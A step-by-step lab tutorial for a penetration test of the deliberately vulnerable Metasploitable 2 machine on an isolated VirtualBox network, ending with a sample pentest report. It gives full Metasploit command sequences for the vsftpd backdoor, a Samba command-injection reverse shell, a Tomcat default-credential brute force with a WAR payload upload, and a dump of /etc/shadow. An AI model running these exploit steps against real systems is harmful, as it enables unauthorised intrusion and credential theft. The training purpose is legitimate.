Pentest a Vulnerable Machine

Exploit 3 services on Metasploitable 2 and write a professional pentest report.

Introduction

30 Second Summary

When companies hire security professionals, they don't just want someone who can find a vulnerability. They want proof that you can run an entire engagement from start to finish and deliver a clear report that non-technical stakeholders can act on.

In this project, you will conduct a full penetration test against a deliberately vulnerable target machine. You'll enumerate services, exploit three different vulnerabilities to gain root access, and produce a professional report documenting your findings.

What You'll Build

A complete penetration testing engagement using Kali Linux and Metasploit Framework against a Metasploitable 2 target in an isolated lab environment.

By the end of this project, you'll have:

  • An isolated VirtualBox lab with Kali Linux attacking Metasploitable 2 over a host-only network.
  • Three successful exploits demonstrating different attack classes: a supply-chain backdoor, a command injection flaw, and default credentials leading to code execution.
  • A professional pentest report in Markdown with an executive summary, methodology, and evidence-backed finding cards.
  • Secret Mission: Chain a credential harvested from one exploit to pivot into a second service without using Metasploit.

Are there any prerequisites?

You need VirtualBox installed and a Kali Linux VM already set up. You should also be comfortable with basic Linux command line navigation.

Set Up the Lab Network

Every penetration test starts with a controlled environment. You need an attacker machine and a target machine that can talk to each other without touching the real internet.

In this step, you will download Metasploitable 2 (a deliberately vulnerable Linux machine), import it into VirtualBox, and connect both VMs on an isolated network so your attacks never leave your laptop.

In this step, get ready to:
  • Download and import Metasploitable 2 into VirtualBox.
  • Configure both VMs on the same host-only network.
  • Boot both VMs and confirm they can communicate.
Download and import Metasploitable 2

Metasploitable 2 is a purposefully vulnerable virtual machine built by Rapid7 for security training. It runs dozens of misconfigured services that you will attack throughout this project.

  • Open your browser and navigate to the Metasploitable 2 SourceForge page.
  • Click Download to download metasploitable-linux-2.0.0.zip (~865 MB). This may take a few minutes depending on your connection.
  • Once downloaded, extract the zip file. Right-click the file and select Extract All (Windows) or double-click it (macOS).
  • Inside the extracted folder, you should see a file ending in .vmdk. This is the virtual hard disk you will import.

Now import the .vmdk into VirtualBox as a new virtual machine.

  • Open VirtualBox Manager.
  • Click New in the toolbar to create a new virtual machine.
  • Enter Metasploitable 2 as the name.
  • Set Type to Linux.
  • Set Version to Ubuntu (64-bit).
  • Set the memory (RAM) to 512 MB.
  • For the hard disk option, select Use an existing virtual hard disk file.
  • Click the folder icon, then click Add.
  • Navigate to the extracted folder and select the .vmdk file.
  • Click Create (or Finish, depending on your VirtualBox version) to complete the import.

You should now see Metasploitable 2 listed alongside your Kali Linux VM in the VirtualBox Manager sidebar.

Never expose Metasploitable 2 to the internet

Metasploitable 2 is intentionally full of security holes. If you connect it to a bridged or NAT network, anyone on your local network (or the internet) could compromise it. The host-only network you configure next keeps all traffic isolated to your machine.

Configure the host-only network

A host-only network is a virtual network that exists only on your computer. VMs on this network can talk to each other and to your host machine, but they cannot reach the internet. This is exactly what you want for a pentest lab.

  • In VirtualBox Manager, click File in the top menu bar.
  • Select Tools, then Network Manager.
  • Verify that a host-only network already exists. The default network uses subnet 192.168.56.1/24 with DHCP enabled.
  • If no network exists, click Create to add one. The defaults are fine.

What if my VirtualBox labels look different?

Some versions of VirtualBox 7.x label this setting as "Host-Only Network" instead of "Host-Only Adapter." The functionality is identical. As long as both VMs point to the same host-only network name, they will be able to communicate.

Now assign both VMs to this host-only network.

  • In the VirtualBox Manager sidebar, select your Metasploitable 2 VM.
  • Click Settings.
  • Select Network in the left panel.
  • Under Adapter 1, set Attached to to Host-Only Adapter.
  • Select the host-only network you verified in the previous step from the Name dropdown.
  • Click OK to save.
  • Repeat the same steps for your Kali Linux VM. Select it, open Settings, go to Network, and set Adapter 1 to the same Host-Only Adapter.
  • Click OK to save.

Don't see Host-Only Adapter in the dropdown?

Go back to File > Tools > Network Manager and make sure the host-only network has DHCP enabled. If it still does not appear, restart VirtualBox completely.

Still stuck? Help me configure my VirtualBox host-only network

Boot both VMs and verify connectivity

With both VMs on the same isolated network, it is time to power them on and confirm they can reach each other.

  • In VirtualBox Manager, select your Metasploitable 2 VM and click Start.
  • Wait for it to boot to a login prompt.
  • Log in with username msfadmin and password msfadmin.
  • Run the following command to find Metasploitable 2's IP address:
ifconfig
  • Look for the eth0 interface. Note the IP address next to inet addr:. It will likely be something like 192.168.56.101. This is your target IP for the rest of the project.

Write down your target IP

You will use this IP address in every single command for the rest of the project. Write it down or keep it visible in a text editor so you can paste it quickly.

  • Now select your Kali Linux VM in VirtualBox and click Start.
  • Log into Kali Linux.
  • Open a terminal in Kali. Press Ctrl+Alt+T or right-click the desktop and select Open Terminal Here.
  • Ping the Metasploitable 2 machine to confirm connectivity by running this command:
ping -c 4 [[TARGET_IP="your Metasploitable 2 IP address e.g. 192.168.56.101"]]

What does this command do?

The ping command sends four small network packets to the target IP address. If the target responds, your two VMs can communicate over the host-only network. The -c 4 flag limits the ping to four attempts so it stops automatically.

You should see four replies with round-trip times. Something like 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 confirms your lab network is working.

Seeing 'Destination Host Unreachable'?

Make sure both VMs are set to the same host-only network name in their adapter settings. Open Settings > Network for each VM and compare the Name field.

If you recently changed the network settings, reboot both VMs completely. Network adapter changes sometimes do not take effect until a full restart.

Help me troubleshoot my VirtualBox host-only network connectivity

Your isolated lab is ready. You have an attacker (Kali) and a target (Metasploitable 2) that can communicate freely without any risk to your real network. Next up, you will scan the target and map out every open port and service available for exploitation.

Reconnaissance and Enumeration

Your lab is connected and both machines can talk to each other. Before you can exploit anything, you need to know what is running on the target.

In a real penetration test, reconnaissance is the phase where you map out the target's attack surface. You will use Nmap to discover every open port, identify running services and their versions, and then run specialized scripts to confirm whether those services are vulnerable.

In this step, get ready to:
  • Run a full TCP port scan with service version detection and OS fingerprinting.
  • Identify key services and research whether known exploits exist.
  • Run targeted NSE scripts to confirm exploitable vulnerabilities.
Run a full TCP port scan with Nmap

A full TCP scan checks all 65,535 ports on the target, detects service versions, and fingerprints the operating system. This gives you a complete picture of what is exposed.

  • In your Kali Linux terminal, run the full Nmap scan and save the output to a file by running this command:
nmap -sV -sC -O -p- [[TARGET_IP="your Metasploitable 2 IP address"]] -oN ~/nmap_full.txt

What does this command do?

  • -sV probes open ports to detect the service name and version number.
  • -sC runs Nmap's default set of NSE scripts for additional enumeration.
  • -O attempts to fingerprint the target's operating system.
  • -p- scans all 65,535 TCP ports instead of just the top 1,000.
  • -oN ~/nmap_full.txt saves the output in normal format to a file you can reference later in your report.
  • Wait for the scan to complete. A full port scan can take 2-5 minutes depending on your machine.
  • Confirm the output file was saved by running:
ls ~/nmap_full.txt

You should see nmap_full.txt listed in the output.

Scan hanging or no output?

If the scan seems frozen, make sure Metasploitable 2 is still running in VirtualBox. A powered-off target will cause Nmap to time out on every port.

If you get a "permission denied" error, run the command with sudo in front. OS fingerprinting (-O) requires root privileges.

Help me troubleshoot my Nmap scan against Metasploitable 2 on a host-only network.

Analyze the Nmap results to identify your attack surface

The scan results reveal every service the target is exposing to the network. Your job is to identify which services have known vulnerabilities you can exploit.

  • View your scan results by running:
cat ~/nmap_full.txt

You should see a long list of open ports and services. Look for these three key targets in the output:

  • Port 21 running vsftpd 2.3.4. This FTP server version contains a notorious backdoor (CVE-2011-2523) that grants remote root access.
  • Ports 139/445 running Samba 3.0.20. This version has a command injection vulnerability (CVE-2007-2447) that requires no authentication.
  • Port 8080 running Apache Tomcat. The Tomcat Manager interface on Metasploitable 2 uses default credentials (tomcat:tomcat), allowing you to deploy malicious code.

Why do version numbers matter?

Specific software versions are tied to specific CVEs (Common Vulnerabilities and Exposures). When you see vsftpd 2.3.4 in your scan, you can immediately search for known exploits against that exact version.

This is why the -sV flag is so critical. Without version detection, you would only know a port is open, not whether the software behind it is vulnerable.

Run targeted NSE scripts to confirm vulnerabilities

Nmap includes specialized scripts (called NSE scripts) that can probe specific services for known flaws. Instead of guessing whether a vulnerability exists, you can confirm it before attempting exploitation.

  • Check whether the vsftpd backdoor is present on the FTP service by running:
nmap --script ftp-vsftpd-backdoor -p 21 [[TARGET_IP="your Metasploitable 2 IP address"]]

What does this command do?

The --script ftp-vsftpd-backdoor flag runs a script that specifically tests whether the vsftpd 2.3.4 backdoor is active on port 21. If the backdoor exists, the script will report it as "VULNERABLE."

You should see output indicating the backdoor is present, with a state of VULNERABLE.

  • Now check for SMB vulnerabilities on the Samba service by running:
nmap --script smb-vuln* -p 445 [[TARGET_IP="your Metasploitable 2 IP address"]]

What does this command do?

The wildcard smb-vuln* runs all Nmap scripts that check for known SMB vulnerabilities. This covers multiple CVEs in one pass, saving you from running each script individually.

You should see output confirming one or more SMB vulnerabilities on the target.

Scripts showing "filtered" or no results?

If ports appear as "filtered" instead of "open," confirm your Metasploitable 2 VM is still running and reachable with a quick ping.

If the SMB script returns nothing, try running with sudo. Some NSE scripts require elevated privileges to send raw packets.

Help me troubleshoot why my Nmap NSE scripts are not detecting vulnerabilities on Metasploitable 2.

You now have a complete map of your target's attack surface backed by confirmed vulnerability checks. Next up, you will exploit the vsftpd backdoor to gain your first root shell.

Exploit the vsftpd 2.3.4 Backdoor

Your reconnaissance revealed a clear picture of the target's attack surface. Now it's time to move from scanning to exploitation.

The vsftpd 2.3.4 FTP service on port 21 contains a notorious backdoor (CVE-2011-2523) that was secretly inserted into the source code. You'll use the Metasploit Framework to trigger this backdoor and gain a root shell on the target.

In this step, get ready to:
  • Launch Metasploit and configure the vsftpd backdoor exploit module.
  • Exploit the backdoor to gain a root shell on the target.
  • Collect evidence and document the finding for your pentest report.
Launch Metasploit and load the exploit module

Metasploit is the industry-standard exploitation framework used by professional penetration testers. It packages known exploits into modules that handle the technical details of triggering vulnerabilities.

  • In your Kali Linux terminal, launch the Metasploit console by running this command:
msfconsole

What does this command do?

This launches the Metasploit Framework interactive console. It takes 30-60 seconds to load as it initializes its database of exploit modules.

You should see the Metasploit banner art and a msf6 > prompt.

Metasploit not launching?

If you see a database connection error, run sudo msfdb init first, then try msfconsole again.

If it hangs for more than 2 minutes, press Ctrl+C and retry. Why won't msfconsole start on my Kali machine?

  • Load the vsftpd backdoor exploit module and configure it by running these commands one at a time:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set payload cmd/unix/interact
run

What do these commands do?

  • use exploit/unix/ftp/vsftpd_234_backdoor loads the exploit module that triggers the hidden backdoor in vsftpd 2.3.4.
  • set RHOSTS tells Metasploit which target IP to attack.
  • set payload cmd/unix/interact tells Metasploit you want a simple interactive shell when the exploit succeeds.
  • run fires the exploit. It sends a specially crafted FTP username containing :) which triggers the backdoor to open a shell on port 6200.

Exploit did not complete successfully?

If you see "Exploit completed, but no session was created", verify that Metasploitable 2 is still running and reachable. Run ping against your target IP from a separate terminal tab to confirm connectivity.

Double check that RHOSTS is set to the correct IP by running show options inside msfconsole. Why is my vsftpd exploit not creating a session?

Confirm root access and collect evidence

When the exploit succeeds, Metasploit opens a connection to the backdoor shell on port 6200. You now have a direct command line on the target machine.

  • Confirm your access level and collect evidence by running these commands in the shell:
whoami
id
hostname

What do these commands do?

  • whoami shows the current user. You should see root.
  • id shows user and group IDs. You should see uid=0(root) which confirms full administrative access.
  • hostname confirms you are on the target machine (metasploitable), not your Kali box.

You should see root from whoami and uid=0(root) from id.

  • Copy or screenshot this terminal output. This is your evidence for Finding 1 in your pentest report.

Save evidence as you go

Professional pentesters capture evidence the moment they get it. Select the terminal output showing your root shell and save it to a text file or take a screenshot. You will reference this evidence in your final report.

Document the finding and exit the shell

Every exploit you run during a pentest becomes a finding in your final report. Documenting findings immediately ensures you capture accurate details while they are fresh.

What is CVE-2011-2523?

The vsftpd 2.3.4 backdoor was a supply-chain attack. An attacker inserted malicious code into the vsftpd source archive hosted on the official download site.

When any FTP username containing :) is sent to the server, it opens a root shell listener on port 6200. No credentials are needed. This grants any remote attacker full administrative access to the system.

Record these details for your report's Finding 1:

  • Title: vsftpd 2.3.4 Backdoor Command Execution.
  • CVE: CVE-2011-2523.
  • Severity: Critical.
  • Affected Service: vsftpd 2.3.4 on port 21.
  • Impact: Unauthenticated remote root access to the system.
  • Remediation: Upgrade vsftpd to the latest stable version. Verify download integrity with checksums.
  • Exit the shell session by running:
exit

You should return to the msf6 prompt. Leave msfconsole open because you will use it again in the next step.

Shell not responding to exit?

If the shell appears frozen, press Ctrl+C to abort the session. You can also type background at the msf6 prompt to move the session to the background without killing it. How do I exit a stuck Metasploit shell session?

Your first exploit is complete. You just demonstrated that a single backdoored service can give an attacker full control of a system without any credentials. Next up, you'll exploit an entirely different vulnerability class: command injection in the Samba file sharing service.

Exploit Samba and Harvest Credentials

Your first exploit proved that a backdoor in the FTP server gives attackers instant root access. Now you will target a completely different vulnerability class on the same machine.

Samba 3.0.20 on your target has a command injection flaw (CVE-2007-2447) that lets an attacker run arbitrary commands through the username field. Unlike the vsftpd backdoor that was planted in the source code, this vulnerability exists because of poor input validation in the usermap_script functionality. After gaining a shell, you will also perform post-exploitation credential harvesting to demonstrate the real-world impact of a compromise.

In this step, get ready to:
  • Exploit the Samba command injection vulnerability to obtain a reverse root shell.
  • Confirm root-level access and capture evidence.
  • Harvest password hashes from /etc/shadow for post-exploitation documentation.
Load and run the Samba exploit module

The Metasploit Framework includes a dedicated module for CVE-2007-2447. This exploit sends a crafted username containing shell metacharacters to the Samba service, which executes them as root because of how usermap_script processes input.

Unlike the vsftpd backdoor that opened a listening port on the target, this exploit uses a reverse shell. The target connects back to your Kali machine, which is a common technique for bypassing firewalls.

  • In your msfconsole session, load the Samba exploit module and configure it by running these commands:
use exploit/multi/samba/usermap_script
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set payload cmd/unix/reverse
set LHOST [[KALI_IP="your Kali IP address on the host-only network"]]

What do these options do?

RHOSTS is the remote target you are attacking. LHOST is your Kali machine's IP where the reverse shell will connect back to.

The cmd/unix/reverse payload tells the target to open an outbound connection to your machine and attach a shell to it. This is called a reverse shell because the target initiates the connection, not the attacker.

  • Launch the exploit by running:
exploit

You should see output indicating a command shell session has been opened. Metasploit will display a message like Command shell session 1 opened followed by the connection details between your Kali IP and the target.

Exploit failed or no session opened?

Double check that LHOST is set to your Kali IP on the host-only network (not 127.0.0.1 or a NAT address). Run ifconfig in a separate Kali terminal to confirm your IP on the 192.168.56.0/24 subnet.

Verify that RHOSTS matches the target IP you confirmed with ping earlier. You can run show options to review all current settings before retrying.

Why isn't my Samba reverse shell connecting back to Kali?

Confirm root access and capture evidence

You now have a reverse shell connected from the target back to your Kali machine. Every command you type in this session executes on the Metasploitable 2 machine with whatever privileges the exploited service runs under.

  • Confirm you have root access by running these commands in the shell session:
whoami
id

What should I see?

whoami should return root. The id command should show uid=0(root) confirming full administrative access on the target.

This exploit requires no authentication at all. The Samba service running as root blindly executes attacker-supplied input, giving immediate unrestricted access to anyone who can reach port 139.

  • Copy or screenshot the terminal output showing whoami and id results. This is your evidence for Finding 2 in the pentest report.
Harvest credentials from /etc/shadow

In a real engagement, gaining root access is not the end goal. The pentest report needs to demonstrate the full impact of a compromise. Credential harvesting shows the client that an attacker could steal password hashes and use them to access other systems.

The /etc/shadow file contains hashed passwords for every user account on the system. Only root can read it, which is exactly why having root access makes credential theft possible.

  • Dump the password hashes by running this command in your root shell session:
cat /etc/shadow

What does this output mean?

Each line follows the format username:$hash_type$salt$hash:... where the dollar signs separate the hashing algorithm identifier, the salt, and the actual password hash.

Look for the msfadmin line in particular. In the Secret Mission, you will crack this hash to demonstrate credential reuse attacks.

  • Save the shadow file output to your evidence folder. Copy the full output, then open a new Kali terminal tab and run:
cat > ~/pentest-report/evidence/shadow.txt << 'EOF'
# Paste the full /etc/shadow output here, then type EOF on a new line
EOF

Faster way to save the output

Select all the cat /etc/shadow output in your shell session, copy it, then paste it between the EOF markers. Type EOF on a new line by itself to close the file.

  • Verify the file was saved correctly by running:
cat ~/pentest-report/evidence/shadow.txt

You should see the full shadow file contents including hashed passwords for users like root, msfadmin, and other system accounts.

File is empty or missing?

Make sure you ran the cat command in a separate Kali terminal, not inside the exploit shell session. The heredoc (<< 'EOF') syntax needs a full bash shell to work properly.

Confirm the evidence directory exists by running ls ~/pentest-report/evidence/. If it does not exist, create it with mkdir -p ~/pentest-report/evidence and try again.

Help me save my /etc/shadow output to a file in Kali

  • Return to your exploit shell session and exit it by running:
exit

You are back in msfconsole. The shell session is closed but Metasploit remains open for your next exploit.

What is CVE-2007-2447?

This vulnerability affects Samba 3.0.20 through 3.0.25rc3. The usermap_script configuration option passes usernames through a shell command without sanitization. An attacker injects shell metacharacters into the username field, and Samba executes them as root.

For your report, document this as Finding 2 with Severity: Critical. The impact is unauthenticated remote root access via command injection. The remediation is to upgrade Samba to a patched version and disable the username map script option in smb.conf.

You now have two critical findings documented with evidence. Your next target is Apache Tomcat on port 8080, where you will demonstrate a completely different attack vector using default credentials.

Exploit Apache Tomcat via Default Credentials

You have exploited two services so far: a supply-chain backdoor in vsftpd and a command injection flaw in Samba. Both required zero authentication. Your third exploit targets a different vulnerability class entirely.

Apache Tomcat on port 8080 has a Manager interface that allows deploying web applications. If an attacker can log into that interface, they can upload a malicious application and execute arbitrary code on the server. In this step, you will discover that Metasploitable 2 left the Tomcat Manager protected by default credentials, then leverage that access to deploy a payload and obtain a Meterpreter session.

In this step, get ready to:
  • Scan Tomcat Manager for default credentials using a Metasploit auxiliary module.
  • Deploy a malicious WAR file payload to gain remote code execution.
  • Confirm access with Meterpreter and document the finding as evidence.
Scan for default credentials with the Tomcat login scanner

Before attempting to exploit Tomcat Manager, you need to confirm valid credentials exist. Metasploit includes a brute-force scanner module that tries common username and password combinations against the Tomcat Manager login page.

  • In your open msfconsole session in Kali, load the Tomcat Manager login scanner by running:
use auxiliary/scanner/http/tomcat_mgr_login
  • Set the target IP and port by running these commands:
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set RPORT 8080
  • Execute the scanner by running:
run

What does this scanner do?

The tomcat_mgr_login module tries a dictionary of common username and password pairs against the Tomcat Manager web interface on port 8080. It sends HTTP requests with Basic authentication headers and reports any combination that returns a successful login.

This is the same technique attackers use to find misconfigured web applications in the wild. Many administrators deploy Tomcat and forget to change the default credentials.

The scanner will cycle through credential pairs and display results. You should see a line indicating a successful login with the credentials tomcat:tomcat.

Scanner not finding credentials?

Make sure RPORT is set to 8080, not the default 80. Tomcat on Metasploitable 2 runs on port 8080.

Verify RHOSTS is set to your Metasploitable 2 IP by running show options and confirming the values. If the target IP is wrong, the scanner will time out.

Why isn't the Tomcat login scanner finding valid credentials?

Deploy a malicious WAR file via Tomcat Manager

Now that you have confirmed valid credentials, you can use them to upload a malicious WAR file through the Tomcat Manager interface. A WAR file is a packaged Java web application. Metasploit will generate one containing a reverse shell payload, upload it to Tomcat, and trigger it to connect back to your Kali machine.

  • Load the Tomcat Manager upload exploit module by running:
use exploit/multi/http/tomcat_mgr_upload
  • Configure the module with the target details and the credentials you just confirmed by running these commands:
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set LHOST [[KALI_IP="your Kali IP address on the host-only network"]]

What do these options control?

RHOSTS and RPORT tell Metasploit where to send the WAR file. HttpUsername and HttpPassword authenticate to the Tomcat Manager upload page.

LHOST is your Kali machine's IP address. Once the WAR file executes on the target, it opens a connection back to this address. This is the same LHOST you used in the Samba exploit.

  • Launch the exploit by running:
exploit

Metasploit will generate a WAR file, authenticate to the Tomcat Manager at port 8080, upload the payload, and trigger it. You should see output indicating a Meterpreter session has been opened.

Exploit failing or timing out?

Run show options and verify that HttpUsername is tomcat and HttpPassword is tomcat. A typo in either credential will cause a 401 Unauthorized error.

If you see a connection timeout, confirm that LHOST is set to your Kali IP on the host-only network (not 127.0.0.1 or a NAT address). Run ifconfig in a separate Kali terminal to check.

Why is my Tomcat Manager WAR upload exploit failing?

Confirm access and document the finding

You now have a Meterpreter session on the target. Unlike the raw shells from the previous exploits, Meterpreter is an advanced payload that gives you built-in commands for gathering system information. You need to capture evidence of your access for the pentest report.

  • Confirm your access level and gather system information by running these commands in the Meterpreter session:
getuid
sysinfo

What do these Meterpreter commands show?

getuid displays the user account that the payload is running as on the target. sysinfo returns the operating system, architecture, and hostname. Together, these prove you achieved code execution and document the level of access gained.

  • Copy or screenshot the terminal output showing the getuid and sysinfo results. Save this as evidence for your report.

What is the finding for your report?

This exploit demonstrates a different vulnerability class than the previous two. The vsftpd backdoor was a supply-chain attack. The Samba exploit was a command injection. This Tomcat finding is a default credentials misconfiguration leading to remote code execution.

For your report, document this as Finding 3: Apache Tomcat Manager Default Credentials. Severity: Critical. The attacker used publicly known default credentials (tomcat:tomcat) to authenticate to the Manager interface, then deployed a malicious WAR file to achieve code execution on the server.

  • Background the Meterpreter session so you can return to it later if needed by running:
background

Meterpreter will confirm the session has been backgrounded and return you to the msf6 prompt. You can list all active sessions at any time by running sessions -l.

You have now successfully exploited three different services on the target, each representing a distinct vulnerability class. Next up, you will compile all of your findings into a professional penetration testing report.

Write Your Pentest Report

You have three successful exploits under your belt, each demonstrating a different vulnerability class. Now it is time to turn that raw evidence into the actual deliverable of a penetration test: the report.

A pentest report is what the client pays for. Without it, your shells and screenshots are just noise. In this step, you will write a professional Markdown report that documents your findings with evidence, reproduction steps, and remediation guidance.

In this step, get ready to:
  • Organize your evidence files into a report directory.
  • Write the report structure with Executive Summary, Methodology, and Scope sections.
  • Document each vulnerability as a professional finding card with severity, evidence, and remediation.
Set up the report directory and gather evidence

Professional pentest reports keep all evidence organized in a single directory. This makes the report self-contained and easy to deliver to the client.

  • Open a new terminal tab in Kali (your msfconsole session can stay running in the background).
  • Create the report directory structure and copy your Nmap evidence into it by running these commands:
mkdir -p ~/pentest-report/evidence
cp ~/nmap_full.txt ~/pentest-report/evidence/

What do these commands do?

mkdir -p creates the directory and any parent directories if they do not already exist. The -p flag prevents an error if the folder is already there from Step 4.

cp ~/nmap_full.txt ~/pentest-report/evidence/ copies your full Nmap scan results into the evidence folder so the report references are self-contained.

  • Confirm the evidence files are in place by running:
ls ~/pentest-report/evidence/

You should see nmap_full.txt and shadow.txt listed in the output.

Only see shadow.txt?

Make sure the cp command above ran without errors. Check that your Nmap output was saved to ~/nmap_full.txt back in Step 2 by running ls ~/nmap_full.txt.

Help me find my Nmap output file on Kali Linux

  • Create your main report file by running:
touch ~/pentest-report/report.md
  • Open report.md in a text editor by running:
nano ~/pentest-report/report.md
Write the report structure

A pentest report follows a standard structure. The Executive Summary speaks to non-technical stakeholders. The Methodology and Scope sections establish credibility and boundaries.

  • In report.md, type the following report header and Executive Summary:
# Penetration Test Report

**Client:** Internal Lab Environment  
**Tester:** [Your Name]  
**Date:** [Today's Date]  
**Target:** [[TARGET_IP="your Metasploitable 2 IP address"]]  

---

## Executive Summary

A penetration test was conducted against the target system at [[TARGET_IP="your Metasploitable 2 IP address"]] on an isolated host-only network. The assessment identified three critical vulnerabilities across FTP, SMB, and web application services. Each vulnerability allows an unauthenticated remote attacker to gain full root-level access to the target system.

Immediate remediation is strongly recommended. The combination of a backdoored FTP server, a command injection flaw in Samba, and default credentials on Apache Tomcat means any attacker on the network segment can fully compromise this host within minutes.

What makes a good Executive Summary?

The Executive Summary is for people who do not read exploit code. It answers three questions: What did you test? What did you find? How bad is it?

Keep it to 1-2 paragraphs. Name the number and severity of findings. State the business impact in plain language.

  • Below the Executive Summary, add the Methodology and Scope sections:
## Methodology

This engagement followed a standard penetration testing methodology:

1. **Reconnaissance** - Host discovery and network mapping
2. **Enumeration** - Full TCP port scan with service version detection and OS fingerprinting
3. **Vulnerability Analysis** - Targeted NSE scripts and manual research of identified services
4. **Exploitation** - Active exploitation of confirmed vulnerabilities to demonstrate impact
5. **Post-Exploitation** - Credential harvesting and privilege verification
6. **Reporting** - Documentation of all findings with evidence and remediation guidance

## Scope

- **Target IP:** [[TARGET_IP="your Metasploitable 2 IP address"]]
- **Network:** Host-only network (192.168.56.0/24)
- **Engagement Type:** Full penetration test (black box)
- **Rules of Engagement:** All services on the target are in scope. No denial-of-service testing. No lateral movement to other hosts.
- **Tools Used:** Nmap, Metasploit Framework, manual enumeration

---

## Findings

Why include Scope and Rules of Engagement?

The Scope section protects both you and the client. It defines exactly what was tested and what was off-limits. In a real engagement, testing outside scope can have legal consequences.

Write your finding cards

Each vulnerability gets its own finding card. This is the evidence-first format used in professional reports like OSCP submissions. A finding card makes every vulnerability reproducible and actionable.

  • Below the ## Findings heading in your report, add Finding 1 for the vsftpd backdoor:
### Finding 1: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

| Field | Detail |
|-------|--------|
| **Severity** | Critical |
| **CVSS Score** | 10.0 |
| **Affected Service** | FTP (port 21) |
| **CVE** | CVE-2011-2523 |

**Description:**  
The target runs vsftpd 2.3.4, which contains a malicious backdoor introduced into the source code. When a connection is made with a username containing a smiley face ":)", the backdoor opens a shell listener on port 6200. This grants unauthenticated remote root access.

**Evidence:**  
See `evidence/nmap_full.txt` for service version confirmation. Exploitation confirmed root shell (uid=0).

**Reproduction Steps:**
```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set payload cmd/unix/interact
run
```

**Impact:**  
Complete system compromise. An attacker gains immediate root access without any credentials.

**Remediation:**  
- Upgrade vsftpd to the latest stable version from official repositories.
- Verify package integrity using checksums from the official distribution.
- Disable FTP entirely and use SFTP if file transfer is needed.

What does this finding card do?

Each section of the card serves a purpose. The table gives quick-glance severity. The Description explains the vulnerability without assuming expertise. Reproduction Steps let another tester verify the finding independently.

Remediation tells the client what to do about it. Always provide specific, actionable fixes rather than generic advice like "patch your systems".

  • Below Finding 1, add Finding 2 for the Samba command injection:
### Finding 2: Samba 3.0.20 usermap_script Command Injection (CVE-2007-2447)

| Field | Detail |
|-------|--------|
| **Severity** | Critical |
| **CVSS Score** | 10.0 |
| **Affected Service** | SMB (ports 139/445) |
| **CVE** | CVE-2007-2447 |

**Description:**  
The target runs Samba 3.0.20-Debian, which is vulnerable to a command injection flaw in the username map script functionality. By sending a specially crafted username containing shell metacharacters, an unauthenticated attacker can execute arbitrary commands as root.

**Evidence:**  
Exploitation confirmed root shell (uid=0). Post-exploitation credential harvesting performed. See `evidence/shadow.txt` for dumped password hashes.

**Reproduction Steps:**
```
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set payload cmd/unix/reverse
set LHOST [Your Kali IP]
run
```

Post-exploitation:
```
cat /etc/shadow
```

**Impact:**  
Complete system compromise with credential exposure. Harvested password hashes enable offline cracking and potential lateral movement to other services.

**Remediation:**  
- Upgrade Samba to a version newer than 3.0.25rc3.
- Restrict SMB access using firewall rules to authorized hosts only.
- Disable unused SMB shares and services.

Why document post-exploitation?

Showing credential harvesting evidence demonstrates the real-world chain of consequences. A single exploit becomes lateral movement potential. This makes the business impact tangible to non-technical readers.

  • Below Finding 2, add your final Finding 3 for the Tomcat default credentials:
### Finding 3: Apache Tomcat Manager Default Credentials

| Field | Detail |
|-------|--------|
| **Severity** | Critical |
| **CVSS Score** | 9.8 |
| **Affected Service** | Apache Tomcat (port 8080) |
| **CVE** | N/A (Misconfiguration) |

**Description:**  
The Apache Tomcat Manager application on port 8080 is accessible with default credentials (tomcat:tomcat). This allows an attacker to deploy arbitrary WAR files, resulting in remote code execution on the server.

**Evidence:**  
Credential brute-force confirmed valid login. WAR payload deployment achieved Meterpreter session with server-level access.

**Reproduction Steps:**
```
msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set RPORT 8080
run
```

With credentials confirmed:
```
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set LHOST [Your Kali IP]
run
```

**Impact:**  
Remote code execution. An attacker can deploy malicious applications, access server resources, pivot to internal systems, and potentially compromise the entire network.

**Remediation:**  
- Change all default credentials immediately.
- Restrict access to the Tomcat Manager interface by IP whitelist.
- Disable the Manager application entirely if not required in production.
- Enforce strong password policies for all web administration interfaces.

Why is a misconfiguration rated Critical?

Severity is based on impact, not sophistication. Default credentials require zero technical skill to exploit, but the result is full remote code execution. The easier an attack is to execute, the more likely it is to happen in the real world.

  • Save the file by pressing Ctrl+O, then Enter to confirm, then Ctrl+X to exit nano.
  • Verify your report file exists and has content by running:
wc -l ~/pentest-report/report.md

You should see a line count of roughly 90-120 lines, confirming your report has substantial content.

See 0 lines or file not found?

Make sure you pressed Ctrl+O (the letter O, not zero) to write the file before exiting nano. If you accidentally exited without saving, reopen the file with nano ~/pentest-report/report.md and paste your content again.

Help me save my pentest report in nano

  • Confirm your full report directory is organized by running:
ls ~/pentest-report/
ls ~/pentest-report/evidence/

You should see report.md and the evidence/ folder in the first listing. The evidence folder should contain nmap_full.txt and shadow.txt.

✔️ Awesome, I've got everything!

Your pentest report is complete and your evidence is organized. You now have a self-contained deliverable that a client could act on.

ⓧ I'd like to double check the full report

Here is the full report.md for comparison. Make sure your file matches this structure:

# Penetration Test Report

**Client:** Internal Lab Environment  
**Tester:** [Your Name]  
**Date:** [Today's Date]  
**Target:** [[TARGET_IP="your Metasploitable 2 IP address"]]  

---

## Executive Summary

A penetration test was conducted against the target system at [[TARGET_IP="your Metasploitable 2 IP address"]] on an isolated host-only network. The assessment identified three critical vulnerabilities across FTP, SMB, and web application services. Each vulnerability allows an unauthenticated remote attacker to gain full root-level access to the target system.

Immediate remediation is strongly recommended. The combination of a backdoored FTP server, a command injection flaw in Samba, and default credentials on Apache Tomcat means any attacker on the network segment can fully compromise this host within minutes.

## Methodology

This engagement followed a standard penetration testing methodology:

1. **Reconnaissance** - Host discovery and network mapping
